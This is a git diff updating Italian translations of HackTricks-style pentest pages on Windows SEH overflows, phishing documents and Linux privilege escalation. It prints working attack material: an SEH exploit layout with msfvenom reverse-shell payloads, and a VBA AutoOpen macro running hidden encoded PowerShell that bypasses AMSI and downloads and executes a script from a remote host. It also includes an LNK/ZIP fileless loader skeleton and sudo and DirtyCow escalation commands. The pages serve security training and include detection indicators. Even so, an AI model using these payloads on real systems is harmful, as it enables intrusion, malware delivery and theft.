documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md index 4003dd372..6d4280731 100644 --- a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -2,26 +2,26 @@ {{#include ../../banners/hacktricks-training.md}} -SEH-based exploitation è una tecnica classica per Windows x86 che sfrutta la catena dello Structured Exception Handler memorizzata nello stack. Quando un stack buffer overflow sovrascrive i due campi da 4 byte +SEH-based exploitation è una tecnica classica di Windows x86 che abusa della catena Structured Exception Handler memorizzata nello stack. Quando un stack buffer overflow sovrascrive i due campi da 4 byte -- nSEH: pointer to the next SEH record, and -- SEH: pointer to the exception handler function +- nSEH: puntatore al record SEH successivo, e +- SEH: puntatore alla funzione di gestione dell'eccezione un attacker può prendere il controllo dell'esecuzione tramite: -1) Impostare SEH all'indirizzo di un gadget POP POP RET in un modulo non protetto, così che quando viene dispatchata un'eccezione il gadget torni in byte controllati dall'attacker, e -2) Usare nSEH per reindirizzare l'esecuzione (tipicamente un short jump) indietro nel grande buffer overflow dove risiede lo shellcode. +1) Impostare SEH all'indirizzo di un gadget POP POP RET in un modulo non protetto, così che quando viene scatenata un'eccezione il gadget ritorni su byte controllati dall'attacker, e +2) Usare nSEH per reindirizzare l'esecuzione (tipicamente con un short jump) indietro nel grande buffer di overflow dove risiede lo shellcode. -Questa tecnica è specifica per processi a 32-bit (x86). Su sistemi moderni, preferire un modulo senza SafeSEH e ASLR per il gadget. I bad characters spesso includono 0x00, 0x0a, 0x0d (NUL/CR/LF) a causa di C-strings e HTTP parsing. +Questa tecnica è specifica per processi a 32-bit (x86). Su sistemi moderni, preferire un modulo senza SafeSEH e ASLR per il gadget. I bad characters spesso includono 0x00, 0x0a, 0x0d (NUL/CR/LF) a causa di C-strings e parsing HTTP. --- -## Trovare offset esatti (nSEH / SEH) +## Finding exact offsets (nSEH / SEH) -- Causare il crash del processo e verificare che la catena SEH sia stata sovrascritta (es., in x32dbg/x64dbg, controllare la SEH view). +- Mandare in crash il processo e verificare che la catena SEH sia sovrascritta (es., in x32dbg/x64dbg, controllare la SEH view). - Inviare un pattern ciclico come dati di overflow e calcolare gli offset dei due dword che finiscono in nSEH e SEH. -Esempio con peda/GEF/pwntools su un body POST di 1000 byte: +Example with peda/GEF/pwntools on a 1000-byte POST body: ```bash # generate pattern (any tool is fine) /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 @@ -33,16 +33,16 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())" /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH # ➜ offsets example: nSEH=660, SEH=664 ``` -Valida posizionando dei marker in quelle posizioni (es., nSEH=b"BB", SEH=b"CC"). Mantieni la lunghezza totale costante per rendere il crash riproducibile. +Verifica piazzando marker in quelle posizioni (es., nSEH=b"BB", SEH=b"CC"). Mantieni la lunghezza totale costante per rendere il crash riproducibile. --- ## Scelta di un POP POP RET (SEH gadget) -Ti serve una sequenza POP POP RET per eseguire l'unwind del frame SEH e tornare ai byte nSEH. Cercala in un modulo senza SafeSEH e idealmente senza ASLR: +Hai bisogno di una sequenza POP POP RET per unwindare il frame SEH e ritornare nei tuoi byte nSEH. Cercala in un modulo senza SafeSEH e idealmente senza ASLR: - Mona (Immunity/WinDbg): `!mona modules` poi `!mona seh -m modulename`. -- x64dbg plugin ERC.Xdbg: `ERC --SEH` per elencare POP POP RET gadgets e lo stato di SafeSEH. +- x64dbg plugin ERC.Xdbg: `ERC --SEH` per elencare i POP POP RET gadgets e lo stato di SafeSEH. Scegli un indirizzo che non contenga badchars quando scritto little-endian (es., `p32(0x004094D8)`). Preferisci gadget all'interno del binario vulnerabile se le protezioni lo permettono. @@ -50,7 +50,7 @@ Scegli un indirizzo che non contenga badchars quando scritto little-endian (es., ## Tecnica di jump-back (short + near jmp) -nSEH è lungo solo 4 byte, che può contenere al massimo un short jump di 2 byte (`EB xx`) più padding. Se devi saltare indietro di centinaia di byte per raggiungere l'inizio del buffer, usa un near jump di 5 byte posizionato subito prima di nSEH e collegalo con un short jump da nSEH. +nSEH è solo 4 byte, che ospitano al massimo un short jump di 2 byte (`EB xx`) più padding. Se devi saltare indietro di centinaia di byte per raggiungere l'inizio del tuo buffer, usa un near jump di 5 byte posizionato subito prima di nSEH e collegalo con un short jump da nSEH. Con nasmshell: ```text @@ -61,7 +61,7 @@ EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` -Idea di layout per un payload di 1000 byte con nSEH all'offset 660: +Idea di layout per un payload da 1000 byte con nSEH all'offset 660: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start @@ -72,16 +72,16 @@ payload += p32(0x004094D8) # SEH: POP POP RET (no badc payload += b"D" * (buffer_length - len(payload)) ``` Flusso di esecuzione: -- Si verifica un'eccezione e il dispatcher utilizza la SEH sovrascritta. -- POP POP RET effettua l'unwind verso il nostro nSEH. -- nSEH esegue `jmp short -8` entrando nel near jump di 5 byte. -- Il near jump atterra all'inizio del nostro buffer dove risiedono il NOP sled + shellcode. +- Si verifica un'eccezione, il dispatcher utilizza lo SEH sovrascritto. +- POP POP RET provoca lo srotolamento dello stack verso il nostro nSEH. +- Il nSEH esegue `jmp short -8` verso il near jump di 5 byte. +- Il near jump atterra all'inizio del nostro buffer, dove risiedono il NOP sled + shellcode. --- ## Caratteri problematici -Costruisci una stringa completa di badchar e confronta la memoria dello stack dopo il crash, rimuovendo i byte che vengono alterati dal parser del target. Per gli overflow basati su HTTP, `\x00\x0a\x0d` sono quasi sempre esclusi. +Costruisci una stringa badchar completa e confronta la memoria dello stack dopo il crash, rimuovendo i byte che vengono corrotti dal parser del bersaglio. Per gli overflow basati su HTTP, `\x00\x0a\x0d` sono quasi sempre esclusi. ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case @@ -90,21 +90,19 @@ payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for ## Shellcode generation (x86) -Usa msfvenom con i tuoi badchars. Un piccolo NOP sled aiuta a tollerare le variazioni di posizionamento. +Usa msfvenom con i tuoi badchars. Un piccolo NOP sled aiuta a tollerare la variabilità dell'atterraggio. ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` -Se generato al volo, il formato hex è comodo da incorporare e per l'unhex in Python: +Se generato al volo, il formato hex è comodo da incorporare e per unhex in Python: ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex ``` ---- - ## Consegna via HTTP (CRLF precisi + Content-Length) -Quando il vettore vulnerabile è un HTTP request body, costruisci una raw request con CRLF esatti e Content-Length corretta in modo che il server legga l'intero corpo in overflow. +Quando il vettore vulnerabile è l'HTTP request body, crea una raw request con CRLF esatti e Content-Length correttamente impostato, in modo che il server legga l'intero overflowing body. ```python # pip install pwntools from pwn import remote @@ -127,21 +125,21 @@ p.close() ## Strumenti -- x32dbg/x64dbg per osservare la catena SEH e analizzare il crash. -- ERC.Xdbg (x64dbg plugin) per enumerare SEH gadgets: `ERC --SEH`. -- Mona come alternativa: `!mona modules`, `!mona seh`. -- nasmshell per assemblare short/near jumps e copiare raw opcodes. -- pwntools per creare payload di rete precisi. +- x32dbg/x64dbg to observe SEH chain and triage the crash. +- ERC.Xdbg (x64dbg plugin) to enumerate SEH gadgets: `ERC --SEH`. +- Mona as an alternative: `!mona modules`, `!mona seh`. +- nasmshell to assemble short/near jumps and copy raw opcodes. +- pwntools to craft precise network payloads. --- ## Note e avvertenze -- Si applica solo ai processi x86. x64 usa uno schema SEH diverso e lo sfruttamento basato su SEH generalmente non è praticabile. -- Preferire gadget in moduli senza SafeSEH e ASLR; altrimenti, trovare un modulo non protetto caricato nel processo. -- I watchdog di servizio che riavviano automaticamente dopo un crash possono facilitare lo sviluppo iterativo dell'exploit. +- Si applica solo ai processi x86. x64 utilizza uno schema SEH diverso e lo sfruttamento basato su SEH generalmente non è praticabile. +- Preferire gadget in moduli senza SafeSEH e ASLR; altrimenti trovare un modulo non protetto caricato nel processo. +- I service watchdog che riavviano automaticamente al crash possono facilitare lo sviluppo iterativo dell'exploit. -## Riferimenti +## References - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index e4499efdf..2a74500f9 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,40 +1,40 @@ -# Phishing Files & Documents +# File e documenti di Phishing {{#include ../../banners/hacktricks-training.md}} ## Documenti Office -Microsoft Word esegue la validazione dei dati del file prima di aprirlo. La validazione dei dati viene effettuata tramite l'identificazione della struttura dei dati, in conformità allo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file analizzato non verrà aperto. +Microsoft Word esegue la convalida dei dati del file prima di aprirlo. La convalida dei dati avviene tramite l'identificazione della struttura dei dati, secondo lo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file in fase di analisi non verrà aperto. -Di norma, i file Word che contengono macros usano l'estensione `.docm`. Tuttavia, è possibile rinominare il file cambiandone l'estensione e mantenere comunque la capacità di eseguire macros. -Per esempio, un file RTF non supporta macros, per progettazione, ma un file DOCM rinominato in RTF sarà gestito da Microsoft Word e sarà in grado di eseguire macros. -Gli stessi dettagli interni e meccanismi si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint ecc.). +Di solito, i file Word contenenti macro usano l'estensione `.docm`. Tuttavia, è possibile rinominare il file cambiando l'estensione e mantenere comunque la capacità di eseguire le macro.\ +Ad esempio, un file RTF non supporta le macro, per progettazione, ma un file DOCM rinominato in RTF verrà gestito da Microsoft Word e sarà in grado di eseguire macro.\ +Gli stessi meccanismi interni si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint ecc.). -È possibile utilizzare il seguente comando per verificare quali estensioni verranno eseguite da alcuni programmi Office: +Puoi usare il seguente comando per verificare quali estensioni verranno eseguite da alcuni programmi Office: ```bash assoc | findstr /i "word excel powerp" ``` -I file DOCX che fanno riferimento a un template remoto (File –Options –Add-ins –Manage: Templates –Go) che include macros possono anch'essi “eseguire” macros. +I file DOCX che fanno riferimento a un template remoto (File – Opzioni – Componenti aggiuntivi – Gestisci: Modelli – Vai) che include macro possono “eseguire” macro a loro volta. -### Caricamento immagine esterna +### Caricamento Immagine Esterna -Vai a: _Insert --> Quick Parts --> Field_\ -_**Categories**: Collegamenti e Riferimenti, **Nomi dei campi**: includePicture, and **Nome file o URL**:_ http:///whatever +Vai a: _Inserisci --> Parti rapide --> Campo_\ +_**Categorie**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever ![](<../../images/image (155).png>) -### Backdoor tramite macros +### Backdoor tramite macro -È possibile usare macros per eseguire codice arbitrario dal documento. +È possibile usare le macro per eseguire codice arbitrario dal documento. -#### Funzioni Autoload +#### Autoload functions Più sono comuni, più è probabile che l'AV le rilevi. - AutoOpen() - Document_Open() -#### Esempi di codice per macros +#### Esempi di codice macro ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -66,24 +66,24 @@ proc.Create "powershell ``` #### Rimuovere manualmente i metadati -Fo to **File > Info > Inspect Document > Inspect Document**, che aprirà il Document Inspector. Clicca **Inspect** e poi **Remove All** accanto a **Document Properties and Personal Information**. +Vai a **File > Info > Inspect Document > Inspect Document**, che aprirà il Document Inspector. Clicca **Inspect** e poi **Remove All** accanto a **Document Properties and Personal Information**. #### Estensione del documento -Quando hai finito, seleziona il menu a discesa **Save as type**, cambia il formato da **`.docx`** a Word 97-2003 **`.doc`**.\ -Fallo perché non **puoi** salvare macro's dentro un **`.docx`** e c'è uno **stigma** **attorno** all'estensione macro-enabled **`.docm`** (es. l'icona in miniatura ha un enorme `!` e alcuni gateway web/email le bloccano completamente). Pertanto, questa estensione legacy **`.doc`** è il miglior compromesso. +When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\ +Fallo perché non puoi salvare macro dentro un **`.docx`** e c'è uno stigma intorno all'estensione macro-enabled **`.docm`** (ad es. l'icona in miniatura mostra un enorme `!` e alcuni gateway web/email le bloccano completamente). Pertanto, questa estensione legacy **`.doc`** è il miglior compromesso. -#### Malicious Macros Generators +#### Generatori di Macro Maligne - MacOS - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## HTA Files +## File HTA -Un HTA è un programma Windows che **combina HTML e linguaggi di scripting (come VBScript e JScript)**. Genera l'interfaccia utente ed esegue come un'applicazione "fully trusted", senza i vincoli del modello di sicurezza di un browser. +An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model. -Un HTA viene eseguito usando **`mshta.exe`**, che di solito è **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se IE è stato disinstallato, gli HTA non saranno in grado di eseguire. +Un HTA viene eseguito usando **`mshta.exe`**, che è tipicamente **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se è stato disinstallato, le HTA non potranno essere eseguite. ```html <--! Basic HTA Execution --> @@ -140,9 +140,9 @@ self.close ``` ## Forzare l'autenticazione NTLM -Esistono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, per esempio, potresti aggiungere **immagini invisibili** a email o HTML a cui l'utente accederà (anche HTTP MitM?). Oppure inviare alla vittima l'**indirizzo di file** che **innescheranno** un'**autenticazione** semplicemente aprendo la cartella. +Esistono diversi modi per **forzare l'autenticazione NTLM "remotamente"**, per esempio puoi aggiungere **immagini invisibili** in email o in HTML che l'utente aprirà (anche HTTP MitM?). Oppure inviare alla vittima l'**indirizzo di file** che **innescheranno** un'**autenticazione** solo aprendo la cartella. -**Controlla queste idee e altre nelle seguenti pagine:** +**Vedi queste idee e altre nelle pagine seguenti:** {{#ref}} @@ -156,24 +156,24 @@ Esistono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, per ese ### NTLM Relay -Non dimenticare che non si può solo rubare l'hash o l'autenticazione, ma si può anche eseguire NTLM relay attacks: +Non dimenticare che non puoi soltanto rubare l'hash o l'autenticazione ma anche **eseguire NTLM relay attacks**: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Campagne altamente efficaci consegnano uno ZIP che contiene due documenti esca legittimi (PDF/DOCX) e un .lnk malevolo. Il trucco è che il reale PowerShell loader è memorizzato all'interno dei byte grezzi dello ZIP dopo un marker unico, e il .lnk lo estrae ed esegue completamente in memoria. +Campagne altamente efficaci consegnano uno ZIP che contiene due documenti esca legittimi (PDF/DOCX) e un .lnk malevolo. Il trucco è che il vero loader PowerShell è memorizzato all'interno dei byte grezzi dello ZIP dopo un marker unico, e il .lnk lo estrae e lo esegue completamente in memoria. -Flusso tipico implementato dalla one-liner PowerShell nel .lnk: +Flusso tipico implementato dal one-liner PowerShell del .lnk: -1) Individuare lo ZIP originale in percorsi comuni: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, e la cartella superiore della directory di lavoro corrente. -2) Leggere i byte dello ZIP e trovare un marker hardcoded (es., xFIQCV). Tutto ciò che segue il marker è il PowerShell payload incorporato. +1) Individuare lo ZIP originale in percorsi comuni: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, e la cartella padre della working directory corrente. +2) Leggere i byte dello ZIP e trovare un marker hardcoded (es., xFIQCV). Tutto ciò che segue il marker è il payload PowerShell incorporato. 3) Copiare lo ZIP in %ProgramData%, estrarlo lì, e aprire il .docx esca per apparire legittimo. 4) Bypassare AMSI per il processo corrente: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) Deoffuscare la fase successiva (es., rimuovere tutti i caratteri #) ed eseguirla in memoria. +5) Deoffuscare la fase successiva (es., rimuovere tutti i caratteri '#') ed eseguirla in memoria. -Esempio di skeleton PowerShell per estrarre ed eseguire la fase incorporata: +Esempio di scheletro PowerShell per estrarre ed eseguire la fase incorporata: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -191,21 +191,21 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` Note -- La delivery spesso abusa di sottodomini PaaS di buona reputazione (es., *.herokuapp.com) e può filtrare i payload (fornire ZIP benigni in base a IP/UA). -- La fase successiva frequentemente decripta base64/XOR shellcode ed esegue tramite Reflection.Emit + VirtualAlloc per minimizzare gli artefatti su disco. +- La delivery spesso abusa di sottodomini PaaS affidabili (es., *.herokuapp.com) e può limitare i payload (servire ZIP benigni in base a IP/UA). +- La fase successiva frequentemente decripta base64/XOR shellcode ed esegue il codice tramite Reflection.Emit + VirtualAlloc per minimizzare gli artefatti su disco. -Persistence usata nella stessa catena +Persistenza utilizzata nella stessa catena - COM TypeLib hijacking del Microsoft Web Browser control in modo che IE/Explorer o qualsiasi app che lo incorpora rilanci automaticamente il payload. Vedi dettagli e comandi pronti all'uso qui: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} -Hunting/IOCs -- ZIP files contenenti la stringa marker ASCII (es., xFIQCV) aggiunta ai dati dell'archivio. -- .lnk che enumera le cartelle genitore/utente per localizzare lo ZIP e apre un documento esca. -- Manomissione di AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Thread aziendali a lunga esecuzione che terminano con link ospitati su domini PaaS affidabili. +Rilevamento/IOCs +- File ZIP contenenti la stringa marker ASCII (es., xFIQCV) aggiunta ai dati dell'archivio. +- .lnk che enumera cartelle genitore/utente per localizzare lo ZIP e apre un documento esca. +- Manomissione di AMSI tramite [System.Management.Automation.AmsiUtils]::amsiInitFailed. +- Thread di business a lunga esecuzione che terminano con link ospitati su domini PaaS affidabili. ## Riferimenti diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 63a14bb6f..9352f31a3 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,9 +4,9 @@ ## Informazioni di sistema -### Informazioni OS +### Informazioni sul sistema operativo -Iniziamo a raccogliere alcune informazioni sul sistema operativo in esecuzione +Iniziamo a raccogliere informazioni sul sistema operativo in esecuzione ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,11 +14,11 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### PATH -Se **hai permessi di scrittura su qualsiasi cartella presente nella variabile `PATH`** potresti essere in grado di hijackare alcune librerie o binari: +Se **hai i permessi di scrittura su qualsiasi cartella presente nella variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari: ```bash echo $PATH ``` -### Informazioni sull'ambiente +### Info ambiente Informazioni interessanti, password o chiavi API nelle variabili d'ambiente? ```bash @@ -26,26 +26,26 @@ Informazioni interessanti, password o chiavi API nelle variabili d'ambiente? ``` ### Kernel exploits -Controlla la versione del kernel e verifica se esista qualche exploit che possa essere usato per elevare i privilegi +Controlla la kernel version e verifica se esiste qualche exploit che può essere usato per escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Puoi trovare una buona lista di kernel vulnerabili e alcuni **compiled exploits** qui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Puoi trovare una buona lista di kernel vulnerabili e alcuni già **compiled exploits** qui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Altri siti dove puoi trovare alcuni **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Per estrarre tutte le versioni di kernel vulnerabili da quel sito puoi fare: +Per estrarre tutte le versioni del kernel vulnerabili da quel sito puoi fare: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Strumenti che possono aiutare a cercare exploit per il kernel sono: +Strumenti che potrebbero aiutare a cercare exploit del kernel sono: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (esegui IN victim, controlla solo exploit per kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (da eseguire sul victim, verifica solo exploit per kernel 2.x) -Cerca sempre **la versione del kernel su Google**, magari la tua versione del kernel è citata in qualche exploit e così potrai essere sicuro che quell'exploit sia valido. +Cerca sempre **la versione del kernel su Google**, forse la tua versione del kernel è menzionata in qualche kernel exploit e così sarai sicuro che quell'exploit sia valido. ### CVE-2016-5195 (DirtyCow) @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Versione di sudo +### Sudo versione -Basato sulle versioni vulnerabili di sudo che compaiono in: +Basato sulle versioni di sudo vulnerabili che compaiono in: ```bash searchsploit sudo ``` @@ -73,9 +73,9 @@ Da @sickrov ``` sudo -u#-1 /bin/bash ``` -### Verifica della firma Dmesg fallita +### Dmesg: verifica della firma non riuscita -Consulta la **smasher2 box of HTB** per un **esempio** di come questa vuln possa essere sfruttata +Controlla **smasher2 box of HTB** per un **esempio** di come questa vuln potrebbe essere sfruttata ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se sei dentro un docker container puoi provare a evadere da esso: - +Se sei all'interno di un docker container puoi provare a eseguire un escape: {{#ref}} docker-security/ @@ -132,7 +131,7 @@ docker-security/ ## Dischi -Controlla **cosa è montato e cosa non è montato**, dove e perché. Se qualcosa non è montata potresti provare a montarla e controllare la presenza di informazioni private. +Controlla **what is mounted and unmounted**, dove e perché. Se qualcosa è unmounted, puoi provare a mountarlo e controllare se contiene informazioni private ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,25 +140,25 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software utile -Enumerare i binari utili +Elencare i binari utili ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Verifica anche se **è installato un compilatore**. Questo è utile se devi usare qualche kernel exploit, poiché è consigliabile compilarlo sulla macchina in cui lo userai (o su una simile) +Controlla anche se **any compiler is installed**. Questo è utile se devi usare qualche kernel exploit, poiché è consigliabile compilarlo sulla macchina in cui lo userai (o su una macchina simile). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Software vulnerabile installato -Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci una versione vecchia di Nagios (per esempio) che potrebbe essere sfruttata per escalating privileges…\ -Si consiglia di verificare manualmente la versione dei software installati che risultano più sospetti. +Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci una vecchia versione di Nagios (per esempio) che potrebbe essere sfruttata per un'elevazione dei privilegi…\ +Si consiglia di verificare manualmente la versione del software installato più sospetto. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Se hai accesso SSH alla macchina puoi anche usare **openVAS** per verificare la presenza di software obsoleti e vulnerabili installati sulla macchina. +Se hai accesso SSH alla macchina puoi anche usare **openVAS** per verificare se nel sistema è presente software obsoleto o vulnerabile. -> [!NOTE] > _Nota che questi comandi mostreranno molte informazioni che saranno per lo più inutili, quindi è consigliabile usare applicazioni come OpenVAS o simili che verifichino se qualche versione del software installato sia vulnerabile a exploit noti_ +> [!NOTE] > _Nota che questi comandi mostreranno molte informazioni che per lo più saranno inutili; perciò si raccomandano applicazioni come OpenVAS o simili che controllino se una versione di software installata è vulnerabile a exploit noti_ ## Processi @@ -169,32 +168,32 @@ ps aux ps -ef top -n 1 ``` -Controlla sempre la possibile esecuzione di [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** li rileva controllando il parametro `--inspect` nella linea di comando del processo.\ -Controlla anche i tuoi privilegi sui binari dei processi, magari puoi sovrascriverne qualcuno. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Controlla anche i privilegi sui binari dei processi, potresti sovrascriverne qualcuno. ### Process monitoring -Puoi usare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy) per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando viene soddisfatto un insieme di requisiti. +Puoi usare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy) per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando è soddisfatta una serie di condizioni. ### Process memory -Alcuni servizi di un server salvano **credentials in clear text inside the memory**.\ -Normalmente avrai bisogno di **root privileges** per leggere la memoria di processi che appartengono ad altri utenti, quindi questo è solitamente più utile quando sei già root e vuoi scoprire altre credentials.\ -Tuttavia, ricorda che **come utente normale puoi leggere la memoria dei processi che possiedi**. +Alcuni servizi su un server salvano **credenziali in chiaro nella memoria**.\ +Normalmente avrai bisogno dei **privilegi di root** per leggere la memoria di processi appartenenti ad altri utenti, perciò questo è solitamente più utile quando sei già root e vuoi scoprire altre credenziali.\ +Tuttavia, ricorda che **come utente regolare puoi leggere la memoria dei processi che possiedi**. > [!WARNING] -> Nota che al giorno d'oggi la maggior parte delle macchine **non permette ptrace per default** il che significa che non puoi eseguire il dump di altri processi che appartengono al tuo utente non privilegiato. +> Nota che oggi la maggior parte delle macchine **non permette ptrace di default**, il che significa che non puoi dumpare altri processi appartenenti a un utente non privilegiato. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Il file _**/proc/sys/kernel/yama/ptrace_scope**_ controlla l'accessibilità di 